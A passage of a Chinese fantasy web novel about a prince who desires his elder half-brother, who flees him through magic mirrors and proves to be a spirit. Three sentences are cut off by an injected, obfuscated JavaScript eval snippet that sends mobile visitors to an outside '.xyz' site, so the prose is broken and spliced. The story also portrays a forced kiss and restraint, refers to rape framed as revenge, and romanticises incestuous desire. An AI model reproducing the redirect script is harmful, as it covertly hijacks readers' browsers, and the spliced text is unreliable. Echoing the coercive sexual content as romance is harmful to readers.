可看着眼前人眸中期许,他还是慢吞吞伸出了手。他知道,宫里人,包括父皇,都不喜欢哥哥,即使有母后庇护,在她目所不能及处,他们依旧排斥厌恶他,他因而也总避着他们,只与花鸟虫兽混迹一处。这些小东西们于他而言应是再珍贵不过的朋友,也是为 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这般境况持续了小半个月,直至那日夜里,皇宫进了刺客。 刺客铤而走险,夜闯深宫,却不为弑君,单单只掳走了他。他被刺客装进麻袋里,捆在飞驰的马背上一路颠簸,浑身几欲散架。 但他并不害怕,也不关心刺客为何要掳走他,只在想,他被掳走后,父皇母后定是在担心他的安危,后宫众人想来是幸灾乐祸,那……他呢?那个莫名其妙奇妙疏远他的人,听闻此事,会作何感想呢? 大半时辰后,麻袋同袋里的他被重重丢在地上,哗啦一声,有人挥刀划开麻袋,将他从袋里提溜出来。 他迅速打量四周,此处瞧着像是个山洞,岩壁钉着排排火把,将洞内照得亮堂,最为瞩目的是中央的一尊极其高大的怪异佛像,佛像前有一圆形祭坛,上方高悬着一柄细长利剑。 山洞里人不少,面上皆覆着铜铁质的的鬼面具,道道冰冷视线透过面具上的孔洞落在他身上。 “这便是那个皇裔?”人群中走出一人,声音喑哑怪异,不辨男女。 “不会错的。他身上的龙气异常充沛。”刺客单手将他提了起来,随手在他胳膊上划拉一刀,霎时鲜血淋漓,“如何,我可有诓你们?” 周围响起此起彼伏的吸气声。静默须臾后,众人齐齐颔首,“的确……如此充沛,见所未见。” “既然如此,”那喑哑声音又道:“莫要耽搁时间了,将他绑上去吧。” 萧凌晏看着刺客提着他走向佛像前的祭坛。他虽不惧怕,却也不代表他想不明不白死在这儿,刺客松手瞬间,他身形一扭,滑溜如泥鳅般从祭坛底下溜走,攀上佛像。 他尚未习武,全无退敌之力,幸而一双腿脚还算灵活,攀得如此之高,想来能拖个一时半会儿。 可谁料那悬在祭坛上方的剑竟是突然颤动起来。 他心里一咯噔,顿觉不妙,果然,下一瞬,利剑挣脱上方锁链,飞速朝他冲来,势如迅雷,疾如闪电,眨眼功夫,剑便冲至眼前,距他眉心仅几厘之距。 但它并未能再进一步:一只手凌空截住了它。 滴答,滴答。成串的温热液滴落在他面上,划下几笔猩红。 萧凌晏怔怔抬眼看着那只手与疯狂挣动的剑角力,可血肉之躯岂能比拟锋利刀刃,自是被割得皮开肉绽,剑刃攻势愈加疯狂,但手依旧没有松开,反而攥得更紧,与此同时,他被突然揽进一个温暖的怀抱。 “没事了,”他听见那人在他耳边低语,“我在这儿,它伤不到你的。” 4. 依恋 他不知他怎么能寻到此处,又是如何神不知鬼不觉绕至他身后拦下这柄剑的。此举于成人而言都难于登天,即便稍长他几年,也不过才十岁出头,他怎么做到的? 他盯着他被刀刃割得鲜血淋漓的手掌,头晕目眩。明明昨日还避着他,怎么今日又不惜自残来救他?他不懂,心头又喜又忧,喜他原并未同他生分,还是这般在意他,忧他掌心深可见骨的伤。 “松开,”他急忙阻拦:“这样下去会被割断的。” “……不会。”那只手却不听劝地握得更紧:“它不会,它很快便会停下的。” 萧凌晏瞪着这柄近在咫尺的剑,哪里有停的迹象?它分明挣扎得更厉害了。 他感觉身后人在细微地颤抖,似乎痛极,他忙回头看他,他却执拗望着剑,眸中露出几分恳求:“停下来……别这样……别伤他。” 萧凌晏心口涩痛,为他去求一把剑?可剑如何能听懂人话?他觉得一定有人在操纵它。泱泱圣朝奇人异士无数,既然宫里头的国师能御剑驱鬼,世上定也有能御剑伤人的恶徒。他低头看向地面,想从这些面具恶徒中寻出罪魁祸首,可他们只是静静立在原地,抬头看着佛像上的人与剑殊死相搏,瞧不出是谁在暗中捣鬼。 他心急如焚,又无计可施,只得也朝剑伸出手:“那换我来,它本就是冲着我来的。” “别动!”一个巴掌火辣辣落在他探出的手背上,啪地一声留下几道鲜红的指痕。 他愣住了。这是这人第一次冲他发怒。他被对方一把从怀里拽出来,搡到身后:“不干你事。” “哥……”他话未出口,忽觉颈后一痛,下一瞬便晕乎乎地没了意识。 再醒来时,他已不在那古怪山洞中,而是席地睡在一捧干草上,不远处生着一团篝火,哥哥睡在他身侧,背对着他。他眨了眨眼睛,四处打量,头顶屋檐破败,缝隙处泄下几缕月光,映亮梁上厚厚蛛网,借着月光与篝火,他看见屋内同样破败不堪的泥塑,虽半身损毁,却仍能依稀看出是樽观音像。 目光转了一圈,又回到了身侧人的后背。他是怎么带着他从那山洞里逃出来的? 他悄悄坐起身,刚想绕到人跟前看看他伤重的手,破庙里却冷不丁响起对方的声音。 “睡吧。明日我会想办法带你回去。” 萧凌晏微怔,即便竭力维持声线平稳,传入耳中的声音却依旧带着些微的颤,听上去比平时低哑得多。他忽意识到什么,挪动身躯靠了上去,紧紧贴着他的背:“你是不是哭过?” “没有。” “那你为何背对着我?” 沉默在两人间弥漫开。 萧凌晏突然爬起身,越过对方侧躺着的身体,轻车熟路钻进他怀中:“一个人睡好冷。” 这一连串动作俨然是让人始料未及,他急忙抬袖擦了擦眼睛,故作镇定面对着幼弟的凝视,但红透了的眼睛与鼻尖早暴露一切。 萧凌晏幽幽盯着他:“你这些时日变得好古怪,成日躲着我,又背着我偷偷哭?” “说了没有。” 萧凌晏眯起眼睛。他时常会忘记自己只是个五岁孩童,神态言语会不经意间表现出远超孩童的成熟,像是这具幼小的躯体里装着一个成年人的灵魂,但他在哥哥跟前总扮得很好,同任何一个天真烂漫,亲近兄长的弟弟无异,可惜今日他实在是没心思演下去。 他抬手抚过他微肿的眼:“嘴硬前好歹照照镜子,眼睛都还肿着。” “……”他的手被轻轻拨开,“我困了。” “是因为那柄剑?” 他紧贴着的这具身躯陡然僵硬。 萧凌晏继续道:“你这些时日时常抱着一把剑鞘,同那柄剑有一样的花纹。” 沉默良久,眼前人才终于开口:“那是我娘。” 萧凌晏微愣,剑如何能是人母呢?他觉他应是话没说完,于是替他补全:“你是说,那是她的剑?” 萧珺睫毛颤了颤,定定看他片刻,才点头道:“对,方才说错了。那是她的剑。” “那你是怎么……”萧凌晏想问她的剑为何会流落宫外,为那群歹人所用,更想问这些陈年往事又是谁让他知道的,但对方突然搂紧他,垂首埋进幼弟尚且瘦弱的肩头:“别问了。” 萧凌晏不禁止了话头,他看不见兄长的神情,但他仿佛尝到了空气中弥漫开的悲伤。他于是不再问下去。刨根问底,同伤口撒盐何异? 他忽然牵过哥哥的左手,轻轻摩挲着他掌心粗陋包扎过的伤处:“待回去了,定求父皇派兵,把那柄剑抢回来。” 他被人沉默地拥得更紧,两人这般依偎在干草堆上,像两只寒夜挤在一块儿取暖的小兽。 “不用。”隔了许久,他才听见肩头传来闷闷答复:“你同母后能好好的便够了,这是我自己的事。” “可……” “睡吧。明日还要赶路。” 他的眼睛被对方另一只完好的手掌覆上,温暖的掌心贴着他被穿堂而过的夜风吹凉的脸,鼻尖萦绕着兄长身上令人安心的气息。 半个月来的莫名疏离在这一刻终于消弭,再如何强撑着不想睡,这毕竟也还只是一具稚童的身躯,在熟悉温暖的怀抱中逐渐被困意吞噬,直至侍女的轻唤将他惊醒。 他猛地睁眼,只是睡了一觉的功夫,竟已回到皇宫,周遭人甚至未曾发现他半夜失踪过。若非胳膊上的伤口还在,他许是会以为昨夜一切只是个梦。 此事从此便成了他与哥哥间的秘密。他们恢复往日亲近,但他依旧敏锐发觉两人间始终是隔了些看不清摸不着的东西。谈别的倒还好,一旦提及那晚遭遇,提及那把剑,哪怕只是问他是怎么找到他,又是怎么带他回来的,这人的神情便陡然冷淡,接着轻描淡写转移话题。 萧凌晏知他不想谈,便也真的没有再问,即便他两之间横亘着这个不可提起的禁忌话题,他们依旧还是最好最亲密的兄弟。 哥哥,皇兄,三哥……他喊他的方式多种多样,带着亲昵,又掺着爱敬,可十五岁后的某天夜里,他开始做梦,梦里的他不再这般唤他的兄长,反倒是拥着身下人柔韧躯体,俯身凑近他耳畔,逼他唤他夫君。 梦中那人的脸时而朦胧时而清晰,分明是他兄长,却又有些不同,那人在他面前不曾有过这般多情热烈,堪称放浪的模样,他们也不曾那样唇齿相依,肢体交缠。 他莫名不舍得醒,但晨光还是撕碎了他的梦。 他愣愣看着床顶帷帐,初秋的凉意渗进他的四肢五骸。他知这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16522713|186286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事,这种情为世间不容,那人不只是男子,还是他的兄长,若被他知道了,想必……可他控制不住心里疯长的情感与欲望,白日小心翼翼在人前维持正常,梦里却抛却一切人伦道义疯狂纠缠。他觉自己像个怪物,注视着兄长含笑的眼睛时,他居然在回想昨晚梦里他也是这么笑着接纳他的。 他两的关系……许是从这时起便再回不去原样。 他那时也总会想,这人对他又是何种感情呢?同他这般亲昵,只是因为他是弟弟?是母后让他爱护的对象? 他于是常盯着他,想从他漆黑的眸子里看出几分同他一样扭曲、一样背德的情意,但那人总是同他对视须臾便错开眼,若无其事地继续方才话题。 他纠结反复了将近三年,甚至被骗去北疆后也依旧会做这些梦。白日怨憎他,恨不得他死,梦里却又缠绵难解,恨不得另一种意义上“弄死他”。如此矛盾,也不怪他会觉得是不是这人给他施了什么乱七八糟的咒。 他听那恶鬼说过,南疆有一种至烈至毒的蛊咒,能令中咒之人对下咒者情欲深重,百依百顺,许是…… 咚咚。紧闭的屋门突然被叩响,打断他的漫长回忆。 隔着门板传来秦协的声音:“殿下,末将已将太医带到。” 萧凌晏睨着跨入殿内的人,眉头微皱。此人面生,他不曾见过,瞧着也不像医者,衣着不伦不类,腰间挂着面铜镜,倒像是个混迹于三教九流的术士。 秦协无奈:“太医院上下都睡得死沉,踹都踹不醒,只剩这个。” “臣徐辰,叩见殿下。”来人撩袍而跪,神情却不卑不亢,眉宇间一片淡然,配上端正相貌,倒也称得上风流倜傥,萧凌晏却无由来地看他不顺眼。 “换人来。宫里没有便去宫外找。” 徐辰却全然不挪步子。他俯身拜道:“陛下圣体一向由臣照料,若换外人,许是有误诊风险。”言罢,他抬眼望向榻上帷帐,眸中掠过关切,又暗含丝缕情意。 萧凌晏阴鸷盯着来人,这人的目光叫他生厌。这是哪号人,何时进的宫,萧珺同他又是什么关系? 殿内气氛陡然间变得冰冷而压抑。徐辰逐渐维持不住面上淡然,额上冒出几滴冷汗。 他迟疑稍许,忽从袖中掏出一细口小瓶:“若殿下执意要他人看诊,还请先允臣伺候陛下用丹。” 用丹?萧凌晏冷笑,原来这就是探子口中那个给萧珺炼丹的江湖骗子。 “拖出去。” 秦协一愣,旋即心领神会:“是。”这意思便是要他把人收拾了。 “且慢!”徐辰连忙挣扎,但肩上手掌如钳,叫他动弹不得,生生拽着他往外走,他只好扬声道:“切莫误了时辰,否则……唔唔……”秦协一把捂住他的嘴,强行将人拖走。再由着他嚷嚷下去,怕是连他也要受牵连。 屋内恢复寂静。 萧凌晏忽抬手抚过昏迷者颈上尚未愈合的浅浅刀口,语气森然:“你何时变得这么讨人喜欢?除我之外,居然还有人愿意朝你这种人多看几眼?” 似乎是被颈上刺痛惊扰,榻上人蹙起眉头,眼皮不安颤动。他睡得极不安稳,唇间忽溢出几声短促梦呓。 萧凌晏骤然止了动作。他梦中轻声喃喃着的,是他的名字。 5. 喂药 萧凌晏冷笑,这是梦见了什么?口中唤着他的名,神情却又如此恼怒怨愤,蜷在枕侧的手用力到骨节发白,恨不得将被褥撕成两半,怎么,怨他到了如此境地,梦里也不忘咬牙切齿地念叨他? 弑父之仇,夺位之恨,换是旁人他早将其千刀万剐了,如今不过是睡他一回,再不可能有比这更宽宏仁慈的报复了,这人竟还能对他生怨?他不由怒从心起,早知如此就不该管他,何必给他上什么金疮药,传什么太医,任他死在这儿算了。 话虽狠绝,但试了那么多次,真要他把人弄死他是万万做不到的;这副半死不活的模样要他继续折腾他也提不起兴致,一时半会儿竟是什么都做不了,只能心里头干冒火。 他不虞地站起身,在屋里来回踱步以暂缓怒气,这是他被困在北疆那古怪宫殿时养成的习惯,出不去,又无事可干,便只得靠散步排遣心头郁结,那建筑虽大,可日复一日走,每一寸空间都印下过他的脚印,再大的区域也会变得得狭小,他开始理解为何困于冷宫的妃子会疯癫自缢,那种日子真不是人过的。 他步伐忽顿,目光投向角落里的一面镜子。此殿内设同父皇在时相较并未有太多变动,只改了床榻朝向,再就是这面一人等身高的立镜,此镜质地不同于铜镜,瞧着像是西洋的玻璃。 他顿觉奇怪,为何独独多了这么大一面镜子?他印象中萧珺并非在意形容之人,很难想象他每日站在镜前,对镜自视的模样。 他正欲上前细看,门外秦协回来复命:“禀殿下,人已处理干净。末将从宫外又寻了一名医者前来。” “带上来。” 医者惶恐跪拜,怯怯垂首,不敢抬眼。上首之人威仪浩荡,仅仅只是瞥见衣袍一角,便已压得他喘不过气。 “草民苏庆,叩……叩见殿下。”他盯着脚下地砖间的细缝,磕磕绊绊说完那青年将军领他入宫时教他的话。 他紧张得不行,背脊已被冷汗湿透。自己几斤几两他再清楚不知,他的医术虽在京中小有名气,可与宫中太医相较还是差了不少,他实在想不通,放着那些个杏林圣手不用,偏偏将他这个小小平民召进宫是为何? 上首之人并未对他多加刁难,简单问过几句后便让他给榻上昏迷之人看诊。 手搭上榻上人腕中时,苏庆的心直接凉了半截:没有脉象。 这怎么可能? 行医三十多载,他头一次在诊脉时怀疑自己。他强迫自己冷静下来,再次诊脉。可不论他如何施力,如何动作,指尖由始至终都没有触到活人该有的半点脉跳。 他难以置信地看向榻上人,虽昏迷不醒,但呼吸尚存,甚至偶有呓语,分明还活着,如何会没有脉象呢?他犹豫片刻,又去探病人的颈,颈侧同样一片死寂。 萧凌晏见他诊个脉都这么拖拖拉拉,登时有些不耐:“究竟如何?” 苏庆膝盖一软,满头大汗地跪伏在地:“这……” 他脑中天人交战。要说实话吗?可他为病人看诊时这位殿下的目光一直钉在他背上,显然是对病人在意得紧,若他直言病人没有脉象,岂非……他有预感实话出口便是死路一条。 他心一横,眼一闭,只挑最轻的说:“病人高热不退,乃邪风入体,感染了风寒,需尽快退热。草民这便开方煎药。”无论究竟是什么症因,当务之急都得是先把热降下来。 萧凌晏颔首,差人领他去太医院煎药。约莫一个时辰后,苏庆呈上汤药:“药需热服,还请尽快送服。” 萧凌晏摆摆手,让人都退了出去。他端起那碗黑漆漆的药汤,面无表情地坐回床沿,揽着榻上人的肩,将其上身托了起来,搂靠在怀里。 说实话他根本不想喂这人喝药,但他这德行又不可能坐起来自己喝,那便只能让别人这般搂着他,伺候他用药,一想到那场面,他更不痛快。思来想去也只能委屈委屈自己,强忍着不爽把药给他灌进去,左右也不过一碗汤药。 但他显然是低估了这事的难度。 他儿时好几次得风寒都是这人喂他喝的药,那时明明看起来很容易,无非就是舀起药液,吹凉,然后塞他嘴里,趁他苦得面色扭曲要把药吐出来前再塞一口进来,中途他强硬拒绝配合时再好声好气哄几句,再不济亲他几下,把他逗乐了便可继续,最后一颗蜜饯封嘴了事,多简单啊,怎么调换一下能这么麻烦? 眼看药碗已不烫手,灌进这人嘴里的还一口没喝下去,全顺着唇角淌进衣领里了。他实在没招,只得再委屈委屈自己。 汤药入口,一如儿时那般苦,不管是昔日那幼儿身躯大人灵魂的他,还是这个身心都已成熟的他,都觉苦得出奇,整条舌头都苦麻了,难为他还得靠这条舌头把药送进另一人嘴里。 若忽略在两人舌尖流淌的药汁,这完全算得上一个极其缠绵的亲吻,唇舌紧密纠缠,呼吸彼此交融,齿列轻轻磕碰。如此暧昧亲昵,偏偏汤药苦得叫人心头发紧,难生旎旎之心。 梦境之外,这是他第一回同人亲吻,对方是他梦里肖想过无数遍的兄长,也是他该斩于刀下的仇人……实在荒唐,亲吻这种温柔亲密的事,本该留给所爱之人的,而这个人,他应该想方设法折磨他,侮辱他,而非赏他这么个“含情脉脉”的亲吻奖励他。 但他很快自洽,无妨,这是在喂药。他这会儿还不能死,得用药吊着他的命。 这么喂药倒是比用汤匙快得多,但风险也显而易见,最后一口喂进去时,怀中人竟是在这种时候缓缓睁眼,朦胧视线同近在咫尺的他对了个正着。 他心头一跳,刚要推开他,可对方昏迷时木木然任人摆布的舌此时却突然颤了一下,柔软舌腹轻轻蹭过他的舌尖,虽是意外,却似刻意挑逗。 他脑中空白一瞬,回过神时已将人摁回榻上,攥着他那两条挣扎推拒的烦人双臂摁在头顶,凶狠地攫取其口中残余药液。 如此清苦下火之物,在唇舌翻搅间竟反倒勾起他心头一股邪火。 他忽觉腰间又被重重顶了一下。低头一瞧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16522714|186286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这人脱臼的腿竟是不知何时恢复行动力,正用膝盖狠狠撞在他腰上。 “呵,明明是你勾引我,这会儿又装什么矜持?”他重重咬了一口被他吻得艳红的唇瓣,眼中翻腾着阴沉的怒气,又要故技重施先废了他两条腿,可这人却不知如何动作的,竟是长腿一勾,先一步缠住了他的腿,扭腰反身将他撂倒在榻上,趁他一时失衡又迅速抽出两条受制的手臂,反手将他的胳膊用被褥捆在床柱上。短短瞬息,便已扭转受制于人的境况。 萧珺眸光森然望了他一眼,没有言语。只是抬袖用力抹去唇角晶莹,翻身下榻,径直走向那面立镜。 萧凌晏冷笑,看来他倒是低估了他,到底是瘦死的骆驼比马大,再怎么形销骨立,也还留了点功底在。 但这几条破布岂可能困住他。 内力一转,被褥霎时震得粉碎,他几步追上前,猛地钳住对方的肩。 可说时迟那时快,就在他强行将人扳过来的瞬间,对方竟是忽挣脱他的力道,他只觉眼前寒芒一现,一柄不知何处来的利剑便直直指向他的胸膛,距他衣襟仅余几厘,“滚。” 萧凌晏怒极反笑,死死盯着持剑指着他的萧珺:“有本事你就捅下去。其他人你杀得,多我一个又如何?” 萧珺手腕颤了颤,半晌,忽然挥刀,斩落的却只是萧凌晏袖袍一角。 他冷冷道:“你我从此便如此袍,恩断义绝。” 萧凌晏嗤笑:“你我之间,难道此前还有什么未绝的恩义?” 他说得狠绝,心里却不爽利。什么狗屁恩断义绝,我们间的那么多笔账,凭什么你四个字就能轻易翻篇?要说也得是我来说。 “……那便好。”萧珺垂眸,长睫敛去眸中神情。他收刀入鞘:“后会无期。”言罢竟是直接转身迈进立镜中,身影瞬间消失不见。 萧凌晏霎时僵立当场,难以置信地望着镜子。他以为他会同他打一场,还想着以他这副身躯能同他过上几招?结果竟……他原地愣了好一阵才迈步上前,摸了摸镜面。 这分明只是一面普通的镜子。 他究竟是如何做到的?不,应该说……他真的是个人吗? 萧凌晏环视一圈,屋中只余他一人,空气中还弥漫着浓郁药味,挥之不去的苦味儿在他舌尖持续翻腾,方才给他喂药的那只空碗却不知何时已孤零零碎在地上,而不远处的床榻边,术士被拖走时留下的丹药瓶,正静静躺倒。 他拾起一看,瓶口已开,里头业已空空如也。 难怪有气力同他作对,原是拜此物所赐。 困惑迅速转成被人摆了一道的愤怒。他实在是对他太过仁慈,早一剑抹颈,岂会有今日事?他气得肝疼,不久前嚼糖豆般吃下去的大把药丸已在药力失效的边缘。 他深吸一口气,因怒火而发着抖的手攥成拳头,下一瞬,镜子支离破碎。他收回被镜片割破的手,忽冷笑出声,后会无期?管你是什么东西,我都要把你抓回来,叫你求生不得,求死不能。 6. 妖物 萧凌晏站起身,裹着一身戾气越门而出,天穹一道刺目电光,划破天幕,撕裂暗夜,将四周映得如褪色了的白昼。 秦协忙举着伞快步跟了上来:“殿下这是要去哪儿?好歹挡挡雨……诶!”萧凌晏径直上马,浑不搭理他,没几下便连人带马没了影儿。 他只得望着人消失的方向徒劳叹气。虽自己是先帝指给殿下的伴读,又是皇后的亲侄,真论起来殿下还得喊他一声表哥,从小相识,又结伴长大,按理应是再要好不过,可事实不然。他从未看透过这位的脾性,打小便琢磨不来,大了更是阴晴不定。 眼看众人面面相觑,不知所措,他只得暂代调度,趁夜扫清凡可能有碍殿下他日登基的一切隐患。他心中永远只有这一位君主,秦家也注定只会尊皇后嫡子为帝。 萧凌晏御马出宫,马蹄疾驰,溅开一圈圈泥水,又被倾盆而下的大雨冲净,他浑身浇透,雨中寒意沁入骨髓,却浇不熄他心头燥火。小半时辰后,他在京中一处屋宅前勒马驻步。 皇子成年后便需离宫另居他处,父皇虽不喜名义上的第三子,却也没拦着母后为他主张建府之事。当年萧珺搬出宫后,他便也时常溜出宫去寻他玩,一个月里起码有二十多日是住他府上的,对这处宅子自是再熟悉不过。他不知萧珺究竟何处学来的那一手穿镜而过的邪术,又逃去了何处,但其夺位前在此住了近十年,此处定有线索。 府邸寝卧久无人居住,虽有侍仆定期清扫,桌上依旧积着薄薄尘灰。他举着火折子在屋内四下翻找,却是一无所获,正当他要换个屋子继续搜索时,敏锐耳力忽捕捉到咚的一声闷响。 他当即循声看去,那是一面墙。 -- 一墙之隔,宅内暗室。 室内空间逼仄狭小,陈设简陋,唯四面墙上各嵌有一面立镜,正中一盏油灯,灯油将枯,火光晦暗。 烛焰忽无风自颤,旋即,左侧墙面上的镜子中竟是凭空浮现一道人影,烛火摇曳加剧,人影愈发清晰,须臾之后,一人从镜中跌了出来,正是方才从皇宫金蝉脱壳的萧珺。 他脚步虚浮,刚从镜中现身,便站立不稳,险些撞倒油灯,幸而旁侧忽伸来一只手,及时扶住了他和灯,仅仅是磕碰了一下,并未破坏此间布置。 徐辰扶他起身:“主人,刚用过丹药,您不该动武……”他劝过多次,丹药起效虽快,但弊害也不小,贸然动作只会如此时这般,内息紊乱,经脉剧痛,但他总这么着急。 “我知道。”萧珺抬手止了他话头,又去探另一面镜子。 徐辰忙道:“我来吧。” 萧珺顺势收手,靠在墙上等待术法启动。他瞥过徐辰背部衣物上的划痕,眉头微皱:“谁伤了你?” “没呢,衣物破了而已。”徐辰笑了笑:“凡剑何能伤到我,我化蝶飞走,那呆子还在那儿嘀咕死人身上何来的蝴蝶呢。”也得亏秦协肉眼凡胎,并未发觉他乃蝶妖,“杀”完后还颇为惋惜地摇了摇头,让人将那具尸身拖去埋了,他这才有机会潜入殿内,悄悄给主人喂下丹药。 不过也实在惊险,他逃离时一时不慎,险些撞在那位六殿下身上。妖类鬼物皆惧怕天子身上承载着的真龙之气,那人身上的龙气更是远超历代君王之和,威压极甚,仅仅是擦身而过,他都几近昏死。 幸而老天眷顾,还是让他毫发无伤逃了出来,但主人就……他嗅到主人身上沾染的浓郁龙气,想来是那人对他做了什么。他不免担忧,这可不是个好兆头。 他边轻轻拨动油灯下的机关,边偷偷打量身侧人惨无人色的脸,犹豫几番,他终还是忍不住道:“这具人躯已是油尽灯枯,强弩之末,您何必苦守?” 对方无话。徐辰已习惯他每每谈及此事便缄默不语的态度,早猜到会是这反应。他如何不知他守着这副人躯是为了什么,要代人承载恶咒,需舍弃本体,换做人身,可人躯脆弱不堪,哪堪恶咒折磨?即便有灵丹滋养,也只是杯水车薪。 但他实在不解主人为何要做到这份上。“那人龙气加身,洪福齐天,区区恶咒又能奈他何呢,至多折些寿,让他自己担着多好?您非惹火上身,吃这个苦头作甚?” “……” 好么,又是这般,一劝他别对他那宝贝弟弟那么上心他就冷脸,早知如此就不开这个口了。徐辰无可奈何,只得叹气。蝴蝶短寿,若非主人,他十几年前便已夭折,更别提能化形成人,他感念至深,由是侍奉左右,自是盼主人一切都好,但主人从始至终都只念着他那打小就古里古怪的“好弟弟”,只当他是一只轻盈漂亮的蝴蝶,可以分享给弟弟看的小玩意罢了。 说话间,镜面微闪,术法已开启完毕,两人一前一后迈入镜中,镜面即将关闭时,萧珺忽停下脚步。 徐辰惊讶看着主人忽然将一向视若珍宝的一串珠链褪下,端详良久后,轻轻搁在镜外的灯台上:“明年之后,便不用这般……待他度过死劫,我便不欠他们母子了。” 徐辰一愣,半晌才反应过来是在答他的问。“您可算想通了。”他心情大好,语气也轻快了不少:“但您的本体还在宫中,是不是要想办法先挪出来?” 可主人说完那话后却并不动,仍望着那串珠链出神,脚下同扎根了似的。 徐辰于是了然。 哪里是想通了,方才那些话,不过是在自欺欺人,让心里好受些罢了。他有些失望,但又觉得情理之中,人常道情乃难以断舍,伤人伤己之物,古来如此,主人又如何能例外呢?他忽然又有些庆幸,幸好自己只是只不懂人间情爱的蝴蝶。 “走吧。”萧珺终于转身迈步。镜面在两人身后荡漾一瞬,咔嚓碎落一地,颤颤巍巍的烛火也伏低了身,彻底熄灭。 -- 萧凌晏在墙上摸索一阵,终寻到一处不一样的岩块。他摁下机关,墙面缓缓裂开一道可供一人经过的缝隙。造访此处无数遍,竟是直至今日才发现,他莫名想笑,同其朝夕相处十几载,结果是一半欺瞒一半骗。 他抬腿走进暗室,没几步便觉脚下咔咔作响,举起火折子一照,遍地碎片,四周墙面上只余镜框,正中一盏燃尽的油灯,灯芯上清烟徐徐。他伸手一探,仍有滚烫余温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16522715|186286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,显然,方才此处有人,应是前脚刚走。 咔嚓——琉璃灯罩被他捏得粉碎。一墙之隔,只差一点便能逮住他,只差一点。 他烦躁地踢倒油灯,伴着哐当一声巨响,有什么东西哗啦散落一地。他目光忽凝,一颗晶莹夺目的小珠子滚到他足边。 他八岁那年得了一颗极为漂亮的珠子,当即央母后帮他串了一条珠串,当做萧珺十四岁的生辰礼送给了他,萧珺很喜欢,从不离身,但这颗珠子此时就这般静静躺在地上,被主人遗弃。 他面无表情捡起珠子,揣进袖中。逃跑前还把这东西丢下,什么意思?觉得方才“恩断义绝”的宣言还不够响亮? 此行一无所获,他不甘心,回了宫,命人将宫里又翻了个底朝天,仍旧没有半点同萧珺有关的物件,他在宫里头待的这些年,竟是什么痕迹都没留下。 天近破晓时,连绵整夜的瓢泼大雨方渐渐止歇,萧凌晏彻夜未眠,往日惯用的酗酒入眠之法今夜不知为何失了效力,没让他生出半点困意,徒令他胃内绞痛。 他鬼使神差盯着庭院内那颗枯黄桃树,从深夜看到黎明,亲眼见狂风卷走枝上最后一片枯叶。怎么那人待过的地方处处这般晦气,连树都一副死相。 “既看不顺眼,何不砍了?” 萧凌晏酒意尽消,被醉意熏出些许迷茫的眼神刹那转利。 “我已许你国师之位,你还来作甚?”他冷冷望着案上无风自动的白纸,那恶鬼现身时总要纸做载体,早知如此他应把这叠纸都烧了。 纸张在空中迅速折叠扭曲,折成纸人状,接着又轻轻飘起,朝萧凌晏飞来,靠近他时突然膨胀,竟是变成了一妖媚男子落在他腿上,雪白细长的手臂顺势搂着他的肩背:“奴瞧殿下琐事烦心,这才出来为心上人支招呀……啊!”它忽惨叫一声,“疼疼!我的胳膊!” “滚下去。”萧凌晏将撕下来的纸揉成团,随手丢进火堆里,见其依旧赖在他身上不肯走,又撕下了它的右臂。 纸人惨叫连连,连滚带爬跌了下去,一对狭长美目泪意婆娑:“你不喜欢女人,我便化作男人,怎的你还是不满意?” 见萧凌晏不搭理它,它不甘心地又蹭了过来:“你分明是喜欢男人的,我见你同那人云雨时……”它遽然失了声:萧凌晏撕下了它的嘴,目光阴森,“谁准你看他的?” 纸人在另一处长了嘴,急忙辩解:“我瞧他作甚,我看的是你……”话音未落,这张嘴也被撕开了,萧凌晏不耐烦,举起油灯作势要烧了它。 纸人唰的一声躲出老远,语调幽怨道:“同他都能,为何同我不能?我何处比他差?” 见人执着地要烧了他,纸人忍不住道:“你这么在意他,那我问你,你可知他根本不是人!” 萧凌晏手中动作一顿,眯起眼睛:“哦?” 纸人挑眉轻笑,神态魅惑:“不仅如此,我还知他躲哪儿去了……但我有个条件。” “说。” 纸人抬手指着门外桃树,拉长声道:“我要殿下砍了那棵病树,将树心送给我。” 7. 捉妖 萧凌晏缓缓转动手中酒杯,若有所思。这恶鬼的把戏他见过,有令一城人沉睡的本事,取一棵树的树心又有何难?何必拐弯抹角非要让他点头? 纸人探出舌尖轻轻舔过下唇,眸中水波涟涟,媚态横生:“殿下,世上可没有白得的消息,您若不愿砍那棵树,赏奴一夜春宵,奴也……” 萧凌晏瞥来一眼,它面上志得意满的笑意下一瞬便变成惊恐;他竟是突然举起手中烛焰燎上它的躯干,呼啦一下,这一整副纸做的身躯便烧成火人,焰光冲天,浓烟滚滚。 萧凌晏漠然看着纸人死死扒在案上不肯烧化的脸。它那刻意作出的媚态已荡然无存,眸中只余不甘:“我究竟哪里不合你意?” 